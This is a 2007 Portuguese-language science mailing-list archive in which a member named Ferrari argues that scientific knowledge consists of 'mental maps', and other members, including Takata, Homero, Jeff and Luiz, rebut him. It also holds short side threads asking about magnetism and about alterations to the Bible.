correta, mas busca sempre a que melhor se "encaixa".

--- A que melhor se encaixa AO SEU PROPOSITO. Isto é
importante ficar claro. Pois como disse acima, se
apenas quero sentir a verdade, não preciso de ciencia
nenhuma. E ai surge uma pergunta importante: qual é o
propósito da ciencia? A ciencia tem um propósito? Ou é
o cientista que tem? Qual é este proposito? E porque?

Jeff >>> Você não pode "ler" um hieróglifo, por
exemplo, do jeito que você quiser, ele tem uma
lógica...

--- Muito bem observado. Vc sabe que tem uma lógica
ali, mas não sabe o que significa. Olha que
interressante, ao mesmo tempo que os hieróglifo não
fazem nenhum sentido, sabemos que tem um sentido ali.
Interressante isto, não? O que acha que isto quer
dizer? Vc fez um ótima observação, o que vc acha que
ele significa?

Jeff >>> Mas é exatamente isso que as religiões fazem!
Lêem o universo do jeito que querem, que gostam...

--- Jeff, não é a religião (religare) que faz isto,
mas os religiosos (seres humanos). Sendo assim, peço
para que considere a seguinte teoria sobre o
comportamente humano:

--- Todo ser humano faz o melhor que pode dentro das
suas possibilidades e espectativas de beneficio. Por
que alguém beberia veneno se soubesse que o que está
bebendo é veneno? Observe esta teoria no seu cotinuano
é depois me diga se, pra vc, é verdade ou mentira.


sinceramente
ferrari












- - - - - - - - - - - - - - -

EXPERIMENTE XIXI COM TINTA
O novo livro de Marcelo Ferrari:
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Para receber meus textos inéditos, envie um email para:
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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 12:21

Olá Takata!

Takata >>> Se fossem apenas mapas mentais o comedor da
broa precisaria apenas pensar q está comendo a broa de
milho.

--- Takata, já disse, o que vc ignora na sua conlusão
é que o comedor de broa precisaria ser a causa dos
seus próprios pensamentos, e não é.

Teoria: o comedor de broas não é a causa dos seus
próprios pensamentos.

Prova: se o comedor de broas fosse a causa dos seus
próprios pensamentos, logo, ele poderia parar de
pensar (cessar a consequencia que ele causa em si
mesmo).

Fato: o comedor de broas não conseque parar de pensar.

Logo: o comedor de broas não é a causa dos seus
próprios pensamentos.

--- Agora, quando vc diz "apenas mapas mentais", eu
entendo o que vc está querendo dizer, e concordo.
Falei sobre este seu "apenas" no email "o pão nosso de
cada dia (onipresença)". Vou continuar postando outros
artigos sobre isto e coisas correlatas. Estou
armazenando os artigos neste blog:

http://lampadadealadim.blogspot.com

Outra coisa, no meu julgamento, vc ainda confunde
forma com conteúdo, mapa com território. Faço este
julgamento porque a "broa" e o "comedor de broas", são
formas. São formas feitas do pão nosso de cada dia,
mas são formas.


sinceramente
ferrari




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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 13:00

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Se fossem apenas mapas mentais o comedor da
> broa precisaria apenas pensar q está comendo a broa de
> milho.
>
> --- Takata, já disse, o que vc ignora na sua conlusão
> é que o comedor de broa precisaria ser a causa dos
> seus próprios pensamentos, e não é.

Não precisa. Basta q ele pense - não importa a causa. Agora mm eu
estou *pensando* q estou comendo uma broa.

[]s,

Roberto Takata



SUBJECT: Re: Homero: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 13:15

Olá Homero!

Homero >>> Embora me sinta meio tolo tentando manter
uma conversa racional com você (como explicar o ciclo
de Krebs da mitocondria a uma criança de 3 anos), vale
mais uma tentativa.

--- Homero, por favor, vc não é obrigado a conversar
comigo. Se vc faz isto, suponho que deve ter seus
motivos. Meus motivo em conversar com vc, são os
mesmos motivos que tenho pra conversar com qualquer
pessoa:

--- Tentar ser útil.
--- Expressar o que penso.
--- Descobrir o que pensam os outros.
--- Expressar o que sinto
--- Descobrir o que sentem os outros.

--- Se nada disto te interressa, já disse: me ignora.

Homero >>> Bullshit.

--- Ah! Tô entendendo sua lógica de formalidade: vc
pode usar palavrão, mas eu não, é isto.

Homero >>> O que diz não faz sentido para mais
ninguém, a não ser para você.

--- Discordo. Mas suponhamos que sim. Mesmo assim, não
significa que não tenha sentido. Seria um sentido que
mais ninguém entenderia, mas seria um sentido, ué.
Agora, o que estou dizendo é que faz sentido pra
qualquer ser humano. Como sei disto? Porque sou humano
também.

Homero >>> o que demonstra que está inventado coisas e
não raciocinando.

--- Não. Demonstra apenas que vc não entende o que
quero dizer, só isto. Repito, vc não me entende, mas
eu te entendo. Contudo, s evc quiser me entender, é
possivel, mas requesito primeiro é: querer.

Homero >>> Não dá, sinto muito.

--- Tudo bem, respeito. Não disse que tinha que dar.
Isto é com vc.

Homero >>> É claro que a possibilidade de você saber
algo que eu não sei, uma "verdade verdadeira" divina e
sobrenatural, existe, mas só posso levar essa
possibilidade em consideração se você a explicar de
forma coerente e com sentido.

--- É isto que tento fazer desde o inicio. E isto que
vou estar tentando fazer nos artigos que estarei
postando a partir do "pão nosso de cada dia", e que
ficarão armazenados aqui:

http://lampadadealadim.blogspot.com

--- E não se tratam de verdade sobrenaturais, mas
apenas de ciencia e lógica.

Homero >>> Por favor, não escreva, por favor.

--- Bem, escrever eu vou escrever sim, pois não estou
escrevendo apenas pra vc nem pra ciencialist, mas se
todas as pessoas da ciencialist não quiser ler meus
artigos, posso deixar de postar aqui. Outra opção é vc
ignorar os artigos. Se vc os deletar, vc não precisará
lê-los.

Homero >>> Ninguém aguenta mais tanta inutilidade e
absurdos recorrentes.

--- Quem lhe dá a autoridade de dizer por todos. Bem,
sua cara mesmo, quer sempre ser a autoridade. Creio
que é por isto se enpenha tanto em me agredir, porque
não respeito autoridades.

Homero >>> Que tal entrar em uma lista religiosa, ou
de "filosofia" (as aspas são para diferenciar da
filosofia de verdade), e contar as coisas que você
sabe e nós não?

--- Participo de várias lista. Não tenho este
preconceito semantico que vc tem. E tudo que eu sei
vc, e todo ser humano sabe também, apenas não se dá
conta, por preconceito semantico,

Homero >>> Vai acumular admiradores e até seguidores,
que não vão entender nada, mas acharão fantástico o
modo como tem coragem de dizer tudo isso na "cara dos
cientistas".

--- Digo porque é verdade, não para acumular nada. O
que posso acumular? Como já te disse: tudo vira bosta.
Não tem nada que possa ser acumulado. É impossivel.
Digo porque é verdade, e os cientistas se calam porque
é verdade. E não tem nada de mau em reconhecer que não
se sabe. Todo cientista deveria ficar feliz com isto,
afinal, não se pode descobrir o que já foi descoberto,
só o que está encoberto ainda. O que aponto é o que
está encoberto ainda. O que é isto? É o fazer ciencia.
O cientista faz ciencia, mas não sabe o que é "fazer
ciencia". E quem achar que sabe, não precisa me
xingar, basta demostrar, só isto. Nada demais. Pode
começar por responder:

--- O que é medir (observar)?
--- Observar requer tempo?
--- Porque?

Homero >>> Pense, por um instante, que a única razão
pela qual você consegue escrever tanta asneira para
tanta gente, ao redor do planeta, é porque a ciência,
essa tola entidade criada pelos homens e que não sabe
nada de verdade, construiu um sistema mundial de
computadores, uma supervia, com satélites
geo-estacionários, com softwares e protocolos de
comunicações, baseado nas alegações e conhecimentos
sobre física, química, sobre as forças que agem neste
universo físico, etc, etc, etc...

--- Pense, por um instante, que a única razão pela
qual a ciencia faz tudo isto é porque ela pode. E,
pense, por um instante, que a única razão pela qual
ela pode, é porque algo possibilita isto. E pense, por
um instante, que vc não sabe o que a possibilita.
Logo, vc faz ciencia, mas não sabe o que faz, não sabe
o que é "fazer ciencia". Vc faz ciencia assim como um
computador faz calculo, faz sem saber o que está
fazendo.

Homero >>> O que seu conhecimento especial ajuda em
entender o universo, Ferrari?

--- Primeiro, não é especial, é humano. E a resposta a
sua pergunta é: ajuda a compreender o que é "fazer
ciencia".

Homero >>> Sem a ciência, você não estaria espalhando
maluquices nesta lista... Acho que vou continuar com a
ciência e a razão, a "acreditar" em suas verdades
verdadeiras, Ferrari. Parece mais lógico e seguro..:-)

--- Homero, vc não precisa acreditar no que eu vou
dizer a seguir, mas considere.

--- Eu amo ciencia. E, creio eu, muito, mas muuuuuito
mais do que vc e muita gente que esta aqui diplomada e
etc. Ao contrário do que disse, não desmereço nenhuma
dos frutos da ciencia, e reconheço sua importancia
dentro da ordem existencial.

--- Contudo, eu não me conformo em fazer ciencia sem
saber "o que é fazer ciencia". Esta é a diferença (de
interresse) que faz minha investigação cientifica ser
diferente da maioria dos outros cientistas. A maioria
quer conhecer "como funciona a natureza". Eu quero
conhecer "como funciona o processo de conhecer como
funciona a natureza". Vc conseque entender isto?

--- E por isto que eu digo que eu lhe entendo, mas vc
não me entende. Porque ao compreender "como funciona o
processo de conhecer a natureza" o processo de "como
funciona a natureza" está contido nele.

--- Enfim, o que faço é aplicar o metodo cientifico no
próprio aplicador (no cientista). Quando vc se der ao
luxo de fazer isto, vai saber o que eu sei também.
Enquanto não se dar a este luxo, vai continuar fazendo
o que tem feito: bancando a autoridade e tentando
impor com palavras vazias que o que digo é bestira.
Escolha sua. Como sempre, respeito.


sinceramente
ferrari






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SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 13:19

Olá Takata!

takata >>> Não precisa. Basta q ele pense - não
importa a causa. Agora mm eu estou *pensando* q estou
comendo uma broa.

--- Já te disse também: não é vc que está pensando. O
pensamento está acontecendo, mas "vc" não é a causa
deles, percebe isto? Se fosse, vc poderia parar de
pensar. Me diga: vc é capaz de parar de pensar?



sinceramente
ferrari



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SUBJECT: Re: Luiz: Sobre o Método Cientifico - enquadrado
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 13:58

Olá Luiz!

Sabe, Luiz, divergencias cientifica a parte, tenho que
admitir que eu gosto de voce. Tudo bem se vc não
gostar de mim, não tem problema, é uma coisa minha
comigo mesmo. Vou explicar! Como pra mim vc é o texto
que vc escreve, o que gosto é da forma como vc se
expressa. Já te disse isto antes, vc é muito criativo.
Até a forma como vc me xinga é criativa. "Ferrari
vomita", hehehehe... é genial. É sério! Ao contrário
do pessoal aqui que não aprecia a espontaniaedade na
forma que cada um tem de se comunicação, eu aprecio
muito. E aprecio muito a sua forma. E não é de hoje.
Bem, sentimentos humanos expressos, voltamos a briga
cientifica e computacional:

Luiz >>> Não, não percebo. E nem foi isso o
solicitado! Aliás, como um último favor, última
mensagem, último desabafo, explique-me, como vc
consegue dar essa resposta para a pergunta feita.

--- Ué, simples, sendo um ser humano.

Luiz >>> Onde estão as descrições sucintas
solicitadas? Onde está escrito que devem ser
enquadrados em alguma teoria?

--- Vc disse, está no seu texto. Em um vc usou o termo
"qualificados", no outro usou "enquadrados".

Luiz >>> Por gentileza, por gentileza, por gentileza
... só responda: não faça pergunta alguma --- só
responda, só responda.

--- Hehehehe... ta vendo!

Luiz >>> dê exemplos de fenômenos que ocorram na
Natureza que não envolvam partículas ou estruturas
materiais, mas que possam ser qualificados como
transcendentais, espiritual ou sobrenatural.

--- Exemplos dados pelo Ferrari: sendo que particulas
são mapas mentais e não realidade, qualquer fenomeno
serve de exemplo. este email, por exemplo.

Luiz >>> Para cada um deles, descreva sucintamente um
modo de detetá-lo para que, desse modo, possa ser
enquadrado como 'um fato natural'.

--- Descrições dos modos de detetar cada um dele dadas
pelo Ferrari (no ser humano): tato, audição, visão,
oufato, paladar.

Luiz >>> Nada de perguntas .... só preencha as
solicitações acima.

--- Pronto! Fiz o que me pediu.


sinceramente
ferrari




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SUBJECT: Por quê alguns elementos não são imantados?
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 14:20

A razão pelo qual o Ferro pode vir a se tornar um imã conheço, porém não entendo pelo o que eu li, o porquê de o outros elementos não poderem gerar campo magnéticos.
Abraço

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - decodificand o?=
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 14:34

>
> --- O que vc faz para conseguir interagir verbalmente
> com os japoneses. Vc tem que fazer aqueles sons sem
> sentido fazerem sentido pra vc, não é? Mas como?
> TRADUZINDO para o portugues. E outras palavras:
> DECODIFICANDO, criando um sentido (portugues) que dê
> sentido ao que não faz sentido (japones).
>

A questão é a capacidade de entender.

Imagine a chegada de extra-terrestres 1000 vezes mais inteligentes que
nós... Estes poderiam ter teorias científicas que não conseguiríamos
entender, por falta de capacidade mesmo. Algo como tentar explicar o
funcionamento de um computador para uma galinha.

>
> Jeff >>> Pra que aceitar como verdade algo que não se
> entende?
>
> --- Concordo com vc que ACEITAR algo como verdade não
> trás nenhum beneficio, mas CONSIDERAR algo como uma
> possivel verdade, mantém sua mente aberta e
> investigativa.

Com certeza. Mas "possível verdade" dentro do possível :-)

O problema é construir um imenso raciocínio, mesmo que lógico, em cima de
crenças... A chance de "desabar" ou "concluir" absurdos é muito grande no
final. Eu lí um livro, por exemplo, que dizia explicar cientificamente a
existência do espírito. Lembro que este livro era a "sensação" dos espíritas
na época... Entre o começo e o meio do livro era recheado de teorias
científicas, falando principalmente de física, química e biologia, tudo bem
explicado, racional, sem "saltos lógicos" (creio que, na verdade um "copy
and paste" de algum outro livro científico)... Até que o autor, no meio do
livro, "conclui" que o espírito estava contido nos "espaços vazios" entre os
elétrons e o núcleos do átomos... O cara simplesmente achou um espaço vazio
e jogou o espírito lá, arbitrariamente! Nesse momento eu fechei o livro e o
devolví... Porque eu continuaria lendo este livro se a outra metade seria
toda baseada em cima dessa bobagem? Veja que mesmo que o resto do raciocínio
do cara tenha sentido, foi todo construído em cima de um erro!

>
> --- Considere isto: o fato de vc não entender algo não
> significa que não seja verdade nem mentira. Por
> exemplo, vc pode não entender isto aqui: "e=m.c2". Mas
> não significa que não seja verdade nem mentira. Se vc
> considera, mantém sua mente aberta pra investigar e
> buscar o significado real por trás da teoria.

Só o fato de uma teoria ser científica, de alguém chegou a ela usando lógica
(a mesma lógica que eu entendo) eu a respeito e vou tentar entendê-la.

>
>O mesmo pode acontecer com esta teoria aqui: "deus é três". Se
> vc considera, mantém sua mente aberta e investigativa.
>

Não é o mesmo! Isso aí é inventado, não é baseado em nada, foi criado para
alguma coisa, por algum interesse...

>
> Jeff >>> Isso, pra mim, é desistir de pensar, de
> buscar a verdade, e se conformar com uma "explicação".
>
> --- Contudo, porque se conformar em acreditar nas
> "teorias" cientificas?
>

Em ciência não se acredita, se entende. Como disse acima, se eu não entendo
uma teoria científica, eu a respeito por usa a mesma lógica que eu entendo
e, provavelmente, é baseada em outras teorias que eu já entendo. As vezes,
pela complexidade de uma teoria, não é qualquer um que a entende "de cara",
pois pode depender de muito conhecimento e as vezes, até quebra de
paradigmas... Mas creio que qualquer pessoa mentalmente sã é CAPAZ de
entender qualquer teoria científica, nem que leve anos...

>
> Jeff >>> As crenças, mesmo que inventadas, são mais
> interessantes, atraentes, não é isso? Como um
> entorpecente.
>
> --- Me engana que eu gosto. É melhor um talvez do que
> um não depois das seis. E por ai vai... Se vc acredita
> que a terra é o centro do universo, se construiu todo
> seu conhecimento sobre isto, como vai reagir a noticia
> de que isto é mentira?
>

Um cientista iria procurar entender porque você disse isso, mas um religioso
ia querer te xingar e querer te bater.

>
> Vc sabe que tem uma lógica
> ali, mas não sabe o que significa. Olha que
> interressante, ao mesmo tempo que os hieróglifo não
> fazem nenhum sentido, sabemos que tem um sentido ali.
> Interressante isto, não? O que acha que isto quer
> dizer? Vc fez um ótima observação, o que vc acha que
> ele significa?
>

Você acredita em matemática?

A matemática, a lógica que entendemos, parace ser verdade até o momento, uma
verdade absoluta.
A ciência então a utiliza como ferramenta e até como prova de suas teorias,
fazendo previsões que se confirmam e até previsões que ainda não se tem como
se confirmar por falta de recursos...

Assim, tentamos "decodificar" novos "mistérios" da mesma forma, pois achamos
que tudo o que existe deve poder ser equacionado...
Se tudo o que existe puder, um dia, ser explicado desta forma, significa
então que temos a capacidade de entender o universo... Seríamos então
"deuses" um dia...

Mas e se não for? Se não for, não será um humano que vai explicar...
O que não justifica a invenção de seres mais inteligentes ou divinos quem
devem poder explicar!
Simplesmente por que não precisa!

[]´,s
Jeff.



SUBJECT: Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/03/2007 14:54

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Já te disse também: não é vc que está pensando. O
> pensamento está acontecendo, mas "vc" não é a causa
> deles, percebe isto? Se fosse, vc poderia parar de
> pensar. Me diga: vc é capaz de parar de pensar?

Não preciso ser a causa. Basta q eu esteja pensando e, de fato, eu
*estou* pensando.

O seu argumento: a realidade é apenas um mapa mental. Algo faz com q
imaginemos coisas e isso se nos parece com a realidade. Qdo eu como
uma broa de milho, na verdade é esse algo q me faz pensar q estou
comendo broa de milho.

Oras, mas eu estou pensando agora q estou comendo broa de milho...

[]s,

Roberto Takata



SUBJECT: Ferrari: Sobre o Método Cientifico - ad infinitum
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 15:57

Olá Ferrari

Ferrari: "Homero, por favor, vc não é obrigado a conversar comigo. "

Tem toda razão, pelo menos nisso..:-)

Homero



----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 1:15 PM
Subject: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum


Olá Homero!

Homero >>> Embora me sinta meio tolo tentando manter
uma conversa racional com você (como explicar o ciclo
de Krebs da mitocondria a uma criança de 3 anos), vale
mais uma tentativa.

--- Homero, por favor, vc não é obrigado a conversar
comigo. Se vc faz isto, suponho que deve ter seus
motivos. Meus motivo em conversar com vc, são os
mesmos motivos que tenho pra conversar com qualquer
pessoa:

--- Tentar ser útil.
--- Expressar o que penso.
--- Descobrir o que pensam os outros.
--- Expressar o que sinto
--- Descobrir o que sentem os outros.

--- Se nada disto te interressa, já disse: me ignora.

Homero >>> Bullshit.

--- Ah! Tô entendendo sua lógica de formalidade: vc
pode usar palavrão, mas eu não, é isto.

Homero >>> O que diz não faz sentido para mais
ninguém, a não ser para você.

--- Discordo. Mas suponhamos que sim. Mesmo assim, não
significa que não tenha sentido. Seria um sentido que
mais ninguém entenderia, mas seria um sentido, ué.
Agora, o que estou dizendo é que faz sentido pra
qualquer ser humano. Como sei disto? Porque sou humano
também.

Homero >>> o que demonstra que está inventado coisas e
não raciocinando.

--- Não. Demonstra apenas que vc não entende o que
quero dizer, só isto. Repito, vc não me entende, mas
eu te entendo. Contudo, s evc quiser me entender, é
possivel, mas requesito primeiro é: querer.

Homero >>> Não dá, sinto muito.

--- Tudo bem, respeito. Não disse que tinha que dar.
Isto é com vc.

Homero >>> É claro que a possibilidade de você saber
algo que eu não sei, uma "verdade verdadeira" divina e
sobrenatural, existe, mas só posso levar essa
possibilidade em consideração se você a explicar de
forma coerente e com sentido.

--- É isto que tento fazer desde o inicio. E isto que
vou estar tentando fazer nos artigos que estarei
postando a partir do "pão nosso de cada dia", e que
ficarão armazenados aqui:

http://lampadadealadim.blogspot.com

--- E não se tratam de verdade sobrenaturais, mas
apenas de ciencia e lógica.

Homero >>> Por favor, não escreva, por favor.

--- Bem, escrever eu vou escrever sim, pois não estou
escrevendo apenas pra vc nem pra ciencialist, mas se
todas as pessoas da ciencialist não quiser ler meus
artigos, posso deixar de postar aqui. Outra opção é vc
ignorar os artigos. Se vc os deletar, vc não precisará
lê-los.

Homero >>> Ninguém aguenta mais tanta inutilidade e
absurdos recorrentes.

--- Quem lhe dá a autoridade de dizer por todos. Bem,
sua cara mesmo, quer sempre ser a autoridade. Creio
que é por isto se enpenha tanto em me agredir, porque
não respeito autoridades.

Homero >>> Que tal entrar em uma lista religiosa, ou
de "filosofia" (as aspas são para diferenciar da
filosofia de verdade), e contar as coisas que você
sabe e nós não?

--- Participo de várias lista. Não tenho este
preconceito semantico que vc tem. E tudo que eu sei
vc, e todo ser humano sabe também, apenas não se dá
conta, por preconceito semantico,

Homero >>> Vai acumular admiradores e até seguidores,
que não vão entender nada, mas acharão fantástico o
modo como tem coragem de dizer tudo isso na "cara dos
cientistas".

--- Digo porque é verdade, não para acumular nada. O
que posso acumular? Como já te disse: tudo vira bosta.
Não tem nada que possa ser acumulado. É impossivel.
Digo porque é verdade, e os cientistas se calam porque
é verdade. E não tem nada de mau em reconhecer que não
se sabe. Todo cientista deveria ficar feliz com isto,
afinal, não se pode descobrir o que já foi descoberto,
só o que está encoberto ainda. O que aponto é o que
está encoberto ainda. O que é isto? É o fazer ciencia.
O cientista faz ciencia, mas não sabe o que é "fazer
ciencia". E quem achar que sabe, não precisa me
xingar, basta demostrar, só isto. Nada demais. Pode
começar por responder:

--- O que é medir (observar)?
--- Observar requer tempo?
--- Porque?

Homero >>> Pense, por um instante, que a única razão
pela qual você consegue escrever tanta asneira para
tanta gente, ao redor do planeta, é porque a ciência,
essa tola entidade criada pelos homens e que não sabe
nada de verdade, construiu um sistema mundial de
computadores, uma supervia, com satélites
geo-estacionários, com softwares e protocolos de
comunicações, baseado nas alegações e conhecimentos
sobre física, química, sobre as forças que agem neste
universo físico, etc, etc, etc...

--- Pense, por um instante, que a única razão pela
qual a ciencia faz tudo isto é porque ela pode. E,
pense, por um instante, que a única razão pela qual
ela pode, é porque algo possibilita isto. E pense, por
um instante, que vc não sabe o que a possibilita.
Logo, vc faz ciencia, mas não sabe o que faz, não sabe
o que é "fazer ciencia". Vc faz ciencia assim como um
computador faz calculo, faz sem saber o que está
fazendo.

Homero >>> O que seu conhecimento especial ajuda em
entender o universo, Ferrari?

--- Primeiro, não é especial, é humano. E a resposta a
sua pergunta é: ajuda a compreender o que é "fazer
ciencia".

Homero >>> Sem a ciência, você não estaria espalhando
maluquices nesta lista... Acho que vou continuar com a
ciência e a razão, a "acreditar" em suas verdades
verdadeiras, Ferrari. Parece mais lógico e seguro..:-)

--- Homero, vc não precisa acreditar no que eu vou
dizer a seguir, mas considere.

--- Eu amo ciencia. E, creio eu, muito, mas muuuuuito
mais do que vc e muita gente que esta aqui diplomada e
etc. Ao contrário do que disse, não desmereço nenhuma
dos frutos da ciencia, e reconheço sua importancia
dentro da ordem existencial.

--- Contudo, eu não me conformo em fazer ciencia sem
saber "o que é fazer ciencia". Esta é a diferença (de
interresse) que faz minha investigação cientifica ser
diferente da maioria dos outros cientistas. A maioria
quer conhecer "como funciona a natureza". Eu quero
conhecer "como funciona o processo de conhecer como
funciona a natureza". Vc conseque entender isto?

--- E por isto que eu digo que eu lhe entendo, mas vc
não me entende. Porque ao compreender "como funciona o
processo de conhecer a natureza" o processo de "como
funciona a natureza" está contido nele.

--- Enfim, o que faço é aplicar o metodo cientifico no
próprio aplicador (no cientista). Quando vc se der ao
luxo de fazer isto, vai saber o que eu sei também.
Enquanto não se dar a este luxo, vai continuar fazendo
o que tem feito: bancando a autoridade e tentando
impor com palavras vazias que o que digo é bestira.
Escolha sua. Como sempre, respeito.

sinceramente
ferrari

- - - - - - - - - - - - - - -

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Como funciona o processo de conhecer a natureza
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 15:59

A única pergunta racional que Ferrari faz em meses é "como funciona o processo de conhecer a natureza".

E, para tal pergunta há duas únicas respostas, no momento:

a) através do misticismo; aceitar que há uma divindade que guia todo o processo e induz (lentamente) o pensamento humano a pensar sobre o 'porque' dos fenômenos, dando-lhes a faculdade de 'criar' teorias e acreditar nelas após alguns ensaios de validade.

b) através do método científico em toda sua plenitude e nuances.

A opção (a) carece de qualquer evidência; a opção (b) tem trazido frutos que arrasta consigo toda a humanidade.
Esquecer por completo a existência de uma divindade não acarretará falta ou prejuízo algum à humanidade; esquecer por completo a Ciência é caminho certo para o breve encurtamento da nossa existência --- os sobreviventes serão, cada um , o http://www.feiradeciencias.com.br/sala19/texto00.asp .

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 13:15
Assunto: [ciencialist] Re: Homero: Sobre o Método Cientifico - ad infinitum


Olá Homero!

Homero >>> Embora me sinta meio tolo tentando manter
uma conversa racional com você (como explicar o ciclo
de Krebs da mitocondria a uma criança de 3 anos), vale
mais uma tentativa.

--- Homero, por favor, vc não é obrigado a conversar
comigo. Se vc faz isto, suponho que deve ter seus
motivos. Meus motivo em conversar com vc, são os
mesmos motivos que tenho pra conversar com qualquer
pessoa:




SUBJECT: Alteracoes na Biblia
FROM: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 16:29

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Luiz: Sobre o Método Cientifico - enquadrado
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 17:04

No texto abaixo:
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 13:58
Assunto: [ciencialist] Re: Luiz: Sobre o Método Cientifico - enquadrado


Olá Luiz!

Sabe, Luiz, divergencias cientifica a parte, tenho que
admitir que eu gosto de voce. Tudo bem se vc não
gostar de mim, não tem problema, é uma coisa minha
comigo mesmo. Vou explicar! Como pra mim vc é o texto
que vc escreve, o que gosto é da forma como vc se
expressa. Já te disse isto antes, vc é muito criativo.
Até a forma como vc me xinga é criativa. "Ferrari
vomita", hehehehe... é genial. É sério! Ao contrário
do pessoal aqui que não aprecia a espontaniaedade na
forma que cada um tem de se comunicação, eu aprecio
muito. E aprecio muito a sua forma. E não é de hoje.
Bem, sentimentos humanos expressos, voltamos a briga
cientifica e computacional:

Léo: Brilhante! Iluminante! Resplandecente! Bombástico! Luzidio! Reluzente! Cintilante! Magnífico! Pomposo! Suntuoso! Imponente! Majestoso! Envolvente! Cativante! Fascinante! Brilhantíssimo! Resplendente! Resplendoroso! Esplendente! Esplendoroso! Refulgente!
Quando as verdades emergem se vê bem a postura de Arquimendes!

Luiz >>> Não, não percebo. E nem foi isso o
solicitado! Aliás, como um último favor, última
mensagem, último desabafo, explique-me, como vc
consegue dar essa resposta para a pergunta feita.

--- Ué, simples, sendo um ser humano.

Léo: E desde quando um ser humano é simples? Eu o colocaria mais na forma z = a + b.i !

Luiz >>> Onde estão as descrições sucintas
solicitadas? Onde está escrito que devem ser
enquadrados em alguma teoria?

--- Vc disse, está no seu texto. Em um vc usou o termo
"qualificados", no outro usou "enquadrados".

Léo: Neca! Eu disse 'qualificado' quando inseridos nas qualidades, "como transcendentais, espirituais ou sobrenatural" e disse 'enquadrado' quando referido a 'fatos naturais'.

Luiz >>> Por gentileza, por gentileza, por gentileza
... só responda: não faça pergunta alguma --- só
responda, só responda.

--- Hehehehe... ta vendo!

Léo: Esse "Ta vendo" não é interrogativo? Tente pronunciar esse 'ta vendo' como exclamativo.

Luiz >>> dê exemplos de fenômenos que ocorram na
Natureza que não envolvam partículas ou estruturas
materiais, mas que possam ser qualificados como
transcendentais, espiritual ou sobrenatural.

--- Exemplos dados pelo Ferrari: sendo que particulas
são mapas mentais e não realidade, qualquer fenomeno
serve de exemplo. este email, por exemplo.

Léo: Então esse 'email' é transcendental? É espiritual? É Sobrenatural? Que maravilha! Abrirei uma nova Pasta no Outlook "Sobrenaturais e afins"

Luiz >>> Para cada um deles, descreva sucintamente um
modo de detetá-lo para que, desse modo, possa ser
enquadrado como 'um fato natural'.

--- Descrições dos modos de detetar cada um dele dadas
pelo Ferrari (no ser humano): tato, audição, visão,
oufato, paladar.

Léo: Então esse 'email' é um "fato natural" que foi detetado pela visão. A natureza é pródiga!Quando o Outlook se desenvolver mais poderei percebe-lo pelo seu "oufato" ou pelo meu paladar.

Luiz >>> Nada de perguntas .... só preencha as
solicitações acima.

--- Pronto! Fiz o que me pediu.

Léo: Não, fez o que vc conseguiu!
E agora? Podemos concluir que vc realmente não diz coisa com coisa quando o tema é Ciência, Método Cîentífico ou Tecnologia? Ou tem mais abobrinhas ainda?

Aquele abraço,
Léo
+++++++++++++++++++++++



SUBJECT: Re: [ciencialist] Por quê alguns elementos não são imantados?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 30/03/2007 17:08

Olá Michel,

veja em:

http://www.feiradeciencias.com.br/sala13/13_38.asp

e

http://www.feiradeciencias.com.br/sala13/13_T01.asp

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Michel Moccelin Viccari" <michelm.viccari@yahoo.com.br>
